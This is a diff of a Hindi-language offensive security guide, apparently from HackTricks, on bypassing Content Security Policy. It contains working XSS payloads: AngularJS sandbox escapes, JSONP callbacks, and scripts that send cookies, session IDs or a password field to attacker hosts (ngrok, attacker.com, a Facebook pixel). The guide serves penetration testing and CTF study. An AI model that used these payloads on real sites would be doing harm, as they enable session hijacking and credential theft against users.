<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
|
||||
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
|
||||
@ -197,7 +197,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Angular + एक लाइब्रेरी का उपयोग करके Payloads जिसमें ऐसे फ़ंक्शन होते हैं जो `window` ऑब्जेक्ट लौटाते हैं ([check out this post](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Angular + एक लाइब्रेरी का उपयोग करके Payloads जिसमें ऐसे फ़ंक्शन हैं जो `window` ऑब्जेक्ट लौटाते हैं ([इस पोस्ट को देखें](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
> [!NOTE]
|
||||
> यह पोस्ट दिखाती है कि आप `cdn.cloudflare.com` (या किसी अन्य अनुमत JS लाइब्रेरी रिपॉजिटरी) से सभी **लाइब्रेरीज़** को **लोड** कर सकते हैं, प्रत्येक लाइब्रेरी से सभी जोड़े गए फ़ंक्शनों को निष्पादित कर सकते हैं, और **यह जांच सकते हैं कि कौन से फ़ंक्शन किस लाइब्रेरी से `window` ऑब्जेक्ट लौटाते हैं**।
|
||||
@ -232,7 +232,7 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
||||
```
|
||||
#### Google reCAPTCHA JS कोड का दुरुपयोग
|
||||
|
||||
According to [**this CTF writeup**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) you can abuse [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) inside a CSP to execute arbitrary JS code bypassing the CSP:
|
||||
[**इस CTF लेख**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=es&_x_tr_pto=wapp#noteninja-3-solves) के अनुसार, आप CSP के अंदर [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) का दुरुपयोग करके मनमाने JS कोड को CSP को बायपास करते हुए निष्पादित कर सकते हैं:
|
||||
```html
|
||||
<div
|
||||
ng-controller="CarouselController as c"
|
||||
@ -274,7 +274,7 @@ Google Apps Script का दुरुपयोग करना संभव ह
|
||||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
ऐसे परिदृश्य जहाँ `script-src` को `self` और एक विशेष डोमेन पर सेट किया गया है जिसे व्हाइटलिस्ट किया गया है, JSONP का उपयोग करके बायपास किया जा सकता है। JSONP एंडपॉइंट असुरक्षित कॉलबैक विधियों की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं, कार्यशील पेलोड:
|
||||
ऐसे परिदृश्य जहां `script-src` को `self` और एक विशेष डोमेन पर सेट किया गया है जिसे व्हाइटलिस्ट किया गया है, JSONP का उपयोग करके बायपास किया जा सकता है। JSONP एंडपॉइंट असुरक्षित कॉलबैक विधियों की अनुमति देते हैं जो एक हमलावर को XSS करने की अनुमति देते हैं, कार्यशील पेलोड:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
@ -290,7 +290,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
|
||||
### थर्ड पार्टी दुरुपयोग
|
||||
|
||||
जैसा कि [निम्नलिखित पोस्ट](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) में वर्णित है, कई थर्ड पार्टी डोमेन हैं, जो CSP में कहीं न कहीं अनुमति दी जा सकती हैं, जिन्हें डेटा को एक्सफिल्ट्रेट करने या जावास्क्रिप्ट कोड निष्पादित करने के लिए दुरुपयोग किया जा सकता है। इनमें से कुछ थर्ड-पार्टी हैं:
|
||||
जैसा कि [निम्नलिखित पोस्ट](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) में वर्णित है, कई थर्ड पार्टी डोमेन हैं, जो CSP में कहीं न कहीं अनुमति दी जा सकती हैं, जिन्हें डेटा को एक्सफिल्ट्रेट करने या जावास्क्रिप्ट कोड को निष्पादित करने के लिए दुरुपयोग किया जा सकता है। इनमें से कुछ थर्ड-पार्टी हैं:
|
||||
|
||||
| Entity | Allowed Domain | Capabilities |
|
||||
| ----------------- | -------------------------------------------- | ------------ |
|
||||
@ -303,7 +303,7 @@ https://www.youtube.com/oembed?callback=alert;
|
||||
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
|
||||
|
||||
यदि आप अपने लक्ष्य के CSP में किसी भी अनुमति प्राप्त डोमेन को पाते हैं, तो संभावना है कि आप थर्ड-पार्टी सेवा पर पंजीकरण करके CSP को बायपास कर सकते हैं और, या तो उस सेवा पर डेटा को एक्सफिल्ट्रेट कर सकते हैं या कोड निष्पादित कर सकते हैं।
|
||||
यदि आप अपने लक्ष्य के CSP में किसी भी अनुमति प्राप्त डोमेन को पाते हैं, तो संभावना है कि आप थर्ड-पार्टी सेवा पर पंजीकरण करके CSP को बायपास कर सकते हैं और, या तो उस सेवा पर डेटा को एक्सफिल्ट्रेट कर सकते हैं या कोड को निष्पादित कर सकते हैं।
|
||||
|
||||
उदाहरण के लिए, यदि आप निम्नलिखित CSP पाते हैं:
|
||||
```
|
||||
@ -318,9 +318,9 @@ Content-Security-Policy: connect-src www.facebook.com;
|
||||
1. यहाँ एक Facebook Developer खाता बनाएं।
|
||||
2. एक नया "Facebook Login" ऐप बनाएं और "Website" चुनें।
|
||||
3. "Settings -> Basic" पर जाएं और अपना "App ID" प्राप्त करें।
|
||||
4. लक्षित साइट पर, जिससे आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
|
||||
5. अपने ऐप के "Event Manager" पर जाएं और आपने जो ऐप बनाया है उसे चुनें (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
|
||||
6. "Test Events" टैब चुनें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।
|
||||
4. उस लक्षित साइट पर जहां आप डेटा एक्सफिल्ट्रेट करना चाहते हैं, आप "customEvent" और डेटा पेलोड के माध्यम से Facebook SDK गैजेट "fbq" का सीधे उपयोग करके डेटा एक्सफिल्ट्रेट कर सकते हैं।
|
||||
5. अपने ऐप के "Event Manager" पर जाएं और उस ऐप्लिकेशन का चयन करें जिसे आपने बनाया है (ध्यान दें कि इवेंट मैनेजर एक URL में पाया जा सकता है जो इस तरह का है: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events)
|
||||
6. "Test Events" टैब का चयन करें ताकि "आपकी" वेबसाइट द्वारा भेजे जा रहे इवेंट्स को देखा जा सके।
|
||||
|
||||
फिर, पीड़ित पक्ष पर, आप Facebook ट्रैकिंग पिक्सेल को हमलावर के Facebook डेवलपर खाता ऐप-आईडी की ओर इंगित करने और इस तरह का एक कस्टम इवेंट जारी करने के लिए निम्नलिखित कोड निष्पादित करते हैं:
|
||||
```JavaScript
|
||||
@ -335,7 +335,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
|
||||
पथ प्रतिबंधों को बायपास करने के लिए उपरोक्त पुनर्निर्देशन के अलावा, एक और तकनीक है जिसे Relative Path Overwrite (RPO) कहा जाता है, जिसे कुछ सर्वरों पर उपयोग किया जा सकता है।
|
||||
|
||||
उदाहरण के लिए, यदि CSP पथ `https://example.com/scripts/react/` की अनुमति देता है, तो इसे निम्नलिखित तरीके से बायपास किया जा सकता है:
|
||||
उदाहरण के लिए, यदि CSP पथ `https://example.com/scripts/react/` की अनुमति देता है, तो इसे इस प्रकार बायपास किया जा सकता है:
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
@ -368,7 +368,7 @@ data: "Leaked user password: '"+document.getElementById('user-password').innerTe
|
||||
```
|
||||
### AngularJS घटनाएँ
|
||||
|
||||
एक विशिष्ट नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, JavaScript घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, `$event/event` ऑब्जेक्ट में एक `path` विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स बचाव रणनीतियों के लिए महत्वपूर्ण है।
|
||||
एक विशेष नीति जिसे सामग्री सुरक्षा नीति (CSP) के रूप में जाना जाता है, JavaScript घटनाओं को प्रतिबंधित कर सकती है। फिर भी, AngularJS एक वैकल्पिक के रूप में कस्टम घटनाएँ पेश करता है। एक घटना के भीतर, AngularJS एक अद्वितीय ऑब्जेक्ट `$event` प्रदान करता है, जो मूल ब्राउज़र घटना ऑब्जेक्ट को संदर्भित करता है। इस `$event` ऑब्जेक्ट का उपयोग CSP को दरकिनार करने के लिए किया जा सकता है। विशेष रूप से, Chrome में, `$event/event` ऑब्जेक्ट में एक `path` विशेषता होती है, जो घटना के निष्पादन श्रृंखला में शामिल ऑब्जेक्टों की एक सरणी रखती है, जिसमें `window` ऑब्जेक्ट हमेशा अंत में स्थित होता है। यह संरचना सैंडबॉक्स बचाव रणनीतियों के लिए महत्वपूर्ण है।
|
||||
|
||||
इस सरणी को `orderBy` फ़िल्टर की ओर निर्देशित करके, इसे पुनरावृत्त करना संभव है, अंतिम तत्व (जो `window` ऑब्जेक्ट है) का उपयोग करके एक वैश्विक फ़ंक्शन जैसे `alert()` को सक्रिय करना। नीचे प्रदर्शित कोड स्निपेट इस प्रक्रिया को स्पष्ट करता है:
|
||||
```xml
|
||||
@ -393,7 +393,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
<!-- no longer working -->
|
||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
|
||||
```
|
||||
अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स [**यहाँ**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) मिल सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
|
||||
अन्य JSONP मनमानी निष्पादन एंडपॉइंट्स [**यहां**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) पाए जा सकते हैं (इनमें से कुछ हटा दिए गए या ठीक कर दिए गए हैं)
|
||||
|
||||
### रीडायरेक्शन के माध्यम से बायपास
|
||||
|
||||
@ -401,7 +401,7 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
||||
|
||||
हालांकि, [CSP स्पेक 4.2.2.3. पाथ्स और रीडायरेक्ट्स](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) में वर्णन के अनुसार, यदि रीडायरेक्शन एक अलग पथ की ओर ले जाता है, तो यह मूल प्रतिबंधों को बायपास कर सकता है।
|
||||
|
||||
यहाँ एक उदाहरण है:
|
||||
यहां एक उदाहरण है:
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -446,11 +446,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
|
||||
```
|
||||
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
|
||||
|
||||
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **एक छवि के अंदर डाले गए जावास्क्रिप्ट कोड को लोड** कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियों को लोड करने की अनुमति देता है। आप **एक विशेष छवि तैयार** कर सकते हैं, **उसे ट्विटर पर अपलोड** कर सकते हैं और "**unsafe-inline**" का दुरुपयोग करके **एक JS कोड निष्पादित** कर सकते हैं (जैसे एक सामान्य XSS) जो **छवि को लोड** करेगा, **उससे JS निकाल**ेगा और **इसे निष्पादित** करेगा: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
आप इस कॉन्फ़िगरेशन का दुरुपयोग करके **एक छवि के अंदर डाले गए जावास्क्रिप्ट कोड को लोड** कर सकते हैं। यदि उदाहरण के लिए, पृष्ठ ट्विटर से छवियों को लोड करने की अनुमति देता है। आप **एक विशेष छवि तैयार** कर सकते हैं, **उसे ट्विटर पर अपलोड** कर सकते हैं और "**unsafe-inline**" का दुरुपयोग करके **एक JS कोड को निष्पादित** कर सकते हैं (जैसे एक सामान्य XSS) जो **छवि को लोड** करेगा, **उससे JS निकाल**ेगा और **इसे निष्पादित** करेगा: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
|
||||
|
||||
### सेवा कार्यकर्ताओं के साथ
|
||||
### सेवा श्रमिकों के साथ
|
||||
|
||||
सेवा कार्यकर्ताओं की **`importScripts`** फ़ंक्शन CSP द्वारा सीमित नहीं है:
|
||||
सेवा श्रमिकों की **`importScripts`** फ़ंक्शन CSP द्वारा सीमित नहीं है:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/abusing-service-workers.md
|
||||
@ -467,20 +467,20 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
|
||||
script-src-elem *; script-src-attr *
|
||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
|
||||
```
|
||||
क्योंकि यह निर्देश **मौजूदा script-src निर्देशों को अधिलेखित** करेगा।\
|
||||
क्योंकि यह निर्देश **मौजूदा script-src निर्देशों को ओवरराइट** करेगा।\
|
||||
आप यहाँ एक उदाहरण पा सकते हैं: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
|
||||
|
||||
#### Edge
|
||||
|
||||
Edge में यह बहुत सरल है। यदि आप CSP में केवल यह जोड़ सकते हैं: **`;_`** **Edge** पूरी **नीति** को **गिरा** देगा।\
|
||||
Edge में यह बहुत सरल है। यदि आप CSP में केवल यह जोड़ सकते हैं: **`;_`** **Edge** पूरी **नीति** को **ड्रॉप** कर देगा।\
|
||||
उदाहरण: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
|
||||
|
||||
### img-src \*; XSS (iframe) के माध्यम से - समय हमला
|
||||
### img-src \*; XSS (iframe) के माध्यम से - टाइम अटैक
|
||||
|
||||
निर्देश `'unsafe-inline'` की कमी पर ध्यान दें।\
|
||||
इस बार आप पीड़ित को **XSS** के माध्यम से **आपके नियंत्रण** में एक पृष्ठ **लोड** करने के लिए मजबूर कर सकते हैं `<iframe` के साथ। इस बार आप पीड़ित को उस पृष्ठ तक पहुँचने के लिए मजबूर करने जा रहे हैं जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पृष्ठ की सामग्री तक पहुँच नहीं सकते, लेकिन यदि किसी तरह आप **पृष्ठ को लोड करने में लगने वाले समय को नियंत्रित कर सकते हैं** तो आप आवश्यक जानकारी निकाल सकते हैं।
|
||||
इस बार आप पीड़ित को **XSS** के माध्यम से **आपके नियंत्रण** में एक पृष्ठ **लोड** करने के लिए मजबूर कर सकते हैं `<iframe` के साथ। इस बार आप पीड़ित को उस पृष्ठ तक पहुँचने के लिए मजबूर करेंगे जहाँ से आप जानकारी निकालना चाहते हैं (**CSRF**)। आप पृष्ठ की सामग्री तक पहुँच नहीं सकते, लेकिन यदि किसी तरह आप **पृष्ठ को लोड होने में लगने वाले समय को नियंत्रित कर सकते हैं** तो आप आवश्यक जानकारी निकाल सकते हैं।
|
||||
|
||||
इस बार एक **झंडा** निकाला जाएगा, जब भी एक **चर सही अनुमानित** किया जाता है SQLi के माध्यम से **प्रतिक्रिया** **अधिक समय** लेती है नींद फ़ंक्शन के कारण। फिर, आप झंडा निकालने में सक्षम होंगे:
|
||||
इस बार एक **झंडा** निकाला जाएगा, जब भी एक **चर सही तरीके से अनुमानित** किया जाता है SQLi के माध्यम से, **प्रतिक्रिया** **अधिक समय** लेती है नींद फ़ंक्शन के कारण। फिर, आप झंडा निकालने में सक्षम होंगे:
|
||||
```html
|
||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
|
||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
|
||||
@ -542,13 +542,13 @@ run()
|
||||
```
|
||||
### Via Bookmarklets
|
||||
|
||||
यह हमला कुछ सामाजिक इंजीनियरिंग को शामिल करेगा जहाँ हमलावर **उपयोगकर्ता को ब्राउज़र के बुकमार्कलेट पर एक लिंक खींचने और छोड़ने के लिए मनाता है**। यह बुकमार्कलेट **दुष्ट जावास्क्रिप्ट** कोड शामिल करेगा जो खींचने और छोड़ने या क्लिक करने पर वर्तमान वेब विंडो के संदर्भ में निष्पादित होगा, **CSP को बायपास करते हुए और संवेदनशील जानकारी** जैसे कुकीज़ या टोकन चुराने की अनुमति देगा।
|
||||
यह हमला कुछ सामाजिक इंजीनियरिंग को शामिल करेगा जहाँ हमलावर **उपयोगकर्ता को ब्राउज़र के बुकमार्कलेट पर एक लिंक खींचने और छोड़ने के लिए मनाता है**। यह बुकमार्कलेट **दुष्ट जावास्क्रिप्ट** कोड को शामिल करेगा जो खींचने और छोड़ने या क्लिक करने पर वर्तमान वेब विंडो के संदर्भ में निष्पादित होगा, **CSP को बायपास करते हुए और संवेदनशील जानकारी** जैसे कि कुकीज़ या टोकन चुराने की अनुमति देगा।
|
||||
|
||||
अधिक जानकारी के लिए [**यहाँ मूल रिपोर्ट देखें**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)।
|
||||
|
||||
### CSP bypass by restricting CSP
|
||||
|
||||
[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करके एक मनमाना स्क्रिप्ट लोड करने की अनुमति देता है**।
|
||||
[**इस CTF लेखन में**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP को एक अनुमत iframe के अंदर एक अधिक प्रतिबंधात्मक CSP को इंजेक्ट करके बायपास किया गया है जो एक विशिष्ट JS फ़ाइल को लोड करने की अनुमति नहीं देता है, जो फिर, **प्रोटोटाइप प्रदूषण** या **DOM क्लॉबरिंग** के माध्यम से **एक अलग स्क्रिप्ट का दुरुपयोग करने की अनुमति देता है ताकि एक मनमाना स्क्रिप्ट लोड किया जा सके**।
|
||||
|
||||
आप **`csp`** विशेषता के साथ **एक Iframe का CSP प्रतिबंधित कर सकते हैं**:
|
||||
```html
|
||||
@ -556,8 +556,8 @@ run()
|
||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
|
||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
|
||||
```
|
||||
इस [**CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML इंजेक्शन** के माध्यम से **CSP** को अधिक **सीमित** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **कमजोरी का उपयोग किया जा सका।**\
|
||||
CSP को **HTML मेटा टैग** का उपयोग करके अधिक सीमित किया जा सकता है और इनलाइन स्क्रिप्ट को **हटाने** से **प्रवेश** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट इनलाइन स्क्रिप्ट को सक्षम किया जा सकता है:
|
||||
[**इस CTF लेख**](https://github.com/aszx87410/ctf-writeups/issues/48) में, **HTML इंजेक्शन** के माध्यम से **CSP** को और अधिक **सीमित** करना संभव था, जिससे CSTI को रोकने वाला एक स्क्रिप्ट निष्क्रिय हो गया और इसलिए **कमजोरी का उपयोग किया जा सकता था।**\
|
||||
CSP को **HTML मेटा टैग** का उपयोग करके अधिक सीमित किया जा सकता है और इनलाइन स्क्रिप्ट को **हटाने** के द्वारा **प्रवेश** को निष्क्रिय किया जा सकता है, जिससे उनके **nonce** की अनुमति मिलती है और **sha** के माध्यम से विशिष्ट इनलाइन स्क्रिप्ट को **सक्षम** किया जा सकता है:
|
||||
```html
|
||||
<meta
|
||||
http-equiv="Content-Security-Policy"
|
||||
@ -585,13 +585,13 @@ document.querySelector("DIV").innerHTML =
|
||||
|
||||
यह ध्यान देने योग्य है कि Chrome और Firefox जैसे ब्राउज़रों में CSP के संबंध में iframes को संभालने में विभिन्न व्यवहार होते हैं, जो संवेदनशील जानकारी के संभावित लीक का कारण बन सकते हैं।
|
||||
|
||||
एक और तकनीक CSP का लाभ उठाकर गुप्त सबडोमेन का अनुमान लगाने में शामिल है। यह विधि एक बाइनरी सर्च एल्गोरिदम पर निर्भर करती है और CSP को विशिष्ट डोमेन को शामिल करने के लिए समायोजित करती है जो जानबूझकर ब्लॉक किए गए हैं। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देश को संशोधित करके इन सबडोमेनों को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेनों का क्रमिक परीक्षण कर सकते हैं। यहाँ एक स्निपेट है जो दिखाता है कि CSP को इस विधि को सुविधाजनक बनाने के लिए कैसे सेट किया जा सकता है:
|
||||
एक और तकनीक CSP का स्वयं शोषण करना है ताकि गुप्त सबडोमेन का अनुमान लगाया जा सके। यह विधि एक बाइनरी सर्च एल्गोरिदम पर निर्भर करती है और CSP को विशिष्ट डोमेन को शामिल करने के लिए समायोजित करती है जो जानबूझकर ब्लॉक किए गए हैं। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देश को संशोधित करके इन सबडोमेनों को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेनों का क्रमिक परीक्षण कर सकते हैं। यहाँ एक स्निपेट है जो दिखाता है कि CSP को इस विधि को सुविधाजनक बनाने के लिए कैसे सेट किया जा सकता है:
|
||||
```markdown
|
||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
|
||||
```
|
||||
CSP द्वारा अवरुद्ध या अनुमति प्राप्त अनुरोधों की निगरानी करके, कोई भी गुप्त उपडोमेन में संभावित वर्णों को संकीर्ण कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
|
||||
|
||||
दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के बारीकियों का लाभ उठाती हैं, यह प्रदर्शित करते हुए कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी लीक कर सकती हैं।
|
||||
दोनों विधियाँ CSP कार्यान्वयन और ब्राउज़रों में व्यवहार के सूक्ष्मताओं का लाभ उठाती हैं, यह प्रदर्शित करते हुए कि कैसे प्रतीत होता है कि सुरक्षित नीतियाँ अनजाने में संवेदनशील जानकारी लीक कर सकती हैं।
|
||||
|
||||
[**यहाँ**](https://ctftime.org/writeup/29310) से ट्रिक।
|
||||
|
||||
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
|
||||
```
|
||||
### SOME + 'self' + wordpress
|
||||
|
||||
SOME एक तकनीक है जो एक XSS (या अत्यधिक सीमित XSS) **एक पृष्ठ के एंडपॉइंट में** का दुरुपयोग करती है ताकि **एक ही मूल के अन्य एंडपॉइंट्स का दुरुपयोग** किया जा सके। यह हमलावर पृष्ठ से कमजोर एंडपॉइंट को लोड करके और फिर हमलावर पृष्ठ को उसी मूल के वास्तविक एंडपॉइंट पर ताज़ा करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह **कमजोर एंडपॉइंट** **`opener`** ऑब्जेक्ट का उपयोग कर सकता है **पेलोड** में **DOM** तक **पहुँचने** के लिए **वास्तविक एंडपॉइंट का दुरुपयोग** करने के लिए। अधिक जानकारी के लिए देखें:
|
||||
SOME एक तकनीक है जो एक XSS (या अत्यधिक सीमित XSS) **एक पृष्ठ के एंडपॉइंट में** का दुरुपयोग करती है ताकि **एक ही मूल के अन्य एंडपॉइंट्स का दुरुपयोग** किया जा सके। यह एक हमलावर पृष्ठ से कमजोर एंडपॉइंट को लोड करके और फिर हमलावर पृष्ठ को उसी मूल के वास्तविक एंडपॉइंट पर ताज़ा करके किया जाता है जिसे आप दुरुपयोग करना चाहते हैं। इस तरह **कमजोर एंडपॉइंट** **`opener`** ऑब्जेक्ट का उपयोग कर सकता है **पेलोड** में **DOM** तक **पहुँचने** के लिए **वास्तविक एंडपॉइंट का दुरुपयोग** करने के लिए। अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
|
||||
@ -627,7 +627,7 @@ SOME एक तकनीक है जो एक XSS (या अत्यधि
|
||||
|
||||
इसके अलावा, **wordpress** में `/wp-json/wp/v2/users/1?_jsonp=data` पर एक **JSONP** एंडपॉइंट है जो **आउटपुट में भेजे गए डेटा** को **प्रतिबिंबित** करेगा (केवल अक्षरों, संख्याओं और बिंदुओं की सीमा के साथ)।
|
||||
|
||||
एक हमलावर उस एंडपॉइंट का दुरुपयोग करके **WordPress के खिलाफ एक SOME हमले** को **जनरेट** कर सकता है और इसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि यह **'self' द्वारा अनुमति दी गई है**। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **SOME हमले** का दुरुपयोग **कमजोर** **कॉलबैक** एंडपॉइंट के माध्यम से कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\
|
||||
एक हमलावर उस एंडपॉइंट का दुरुपयोग करके **WordPress के खिलाफ एक SOME हमले** को **जनरेट** कर सकता है और इसे `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` के अंदर **एंबेड** कर सकता है, ध्यान दें कि यह **स्क्रिप्ट** **लोड** होगी क्योंकि इसे **'self' द्वारा अनुमति दी गई है**। इसके अलावा, और क्योंकि WordPress स्थापित है, एक हमलावर **SOME हमले** का दुरुपयोग **कमजोर** **कॉलबैक** एंडपॉइंट के माध्यम से कर सकता है जो **CSP को बायपास** करता है ताकि एक उपयोगकर्ता को अधिक विशेषाधिकार दिए जा सकें, एक नया प्लगइन स्थापित किया जा सके...\
|
||||
इस हमले को कैसे करना है, इसके बारे में अधिक जानकारी के लिए देखें [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
@ -643,7 +643,7 @@ document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
|
||||
आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह सिर्फ एक रीडायरेक्ट है, यह सामग्री लीक नहीं करेगा)
|
||||
आप एक मेटा टैग को इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह सामग्री को लीक नहीं करेगा)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
@ -700,7 +700,7 @@ var pc = new RTCPeerConnection({
|
||||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
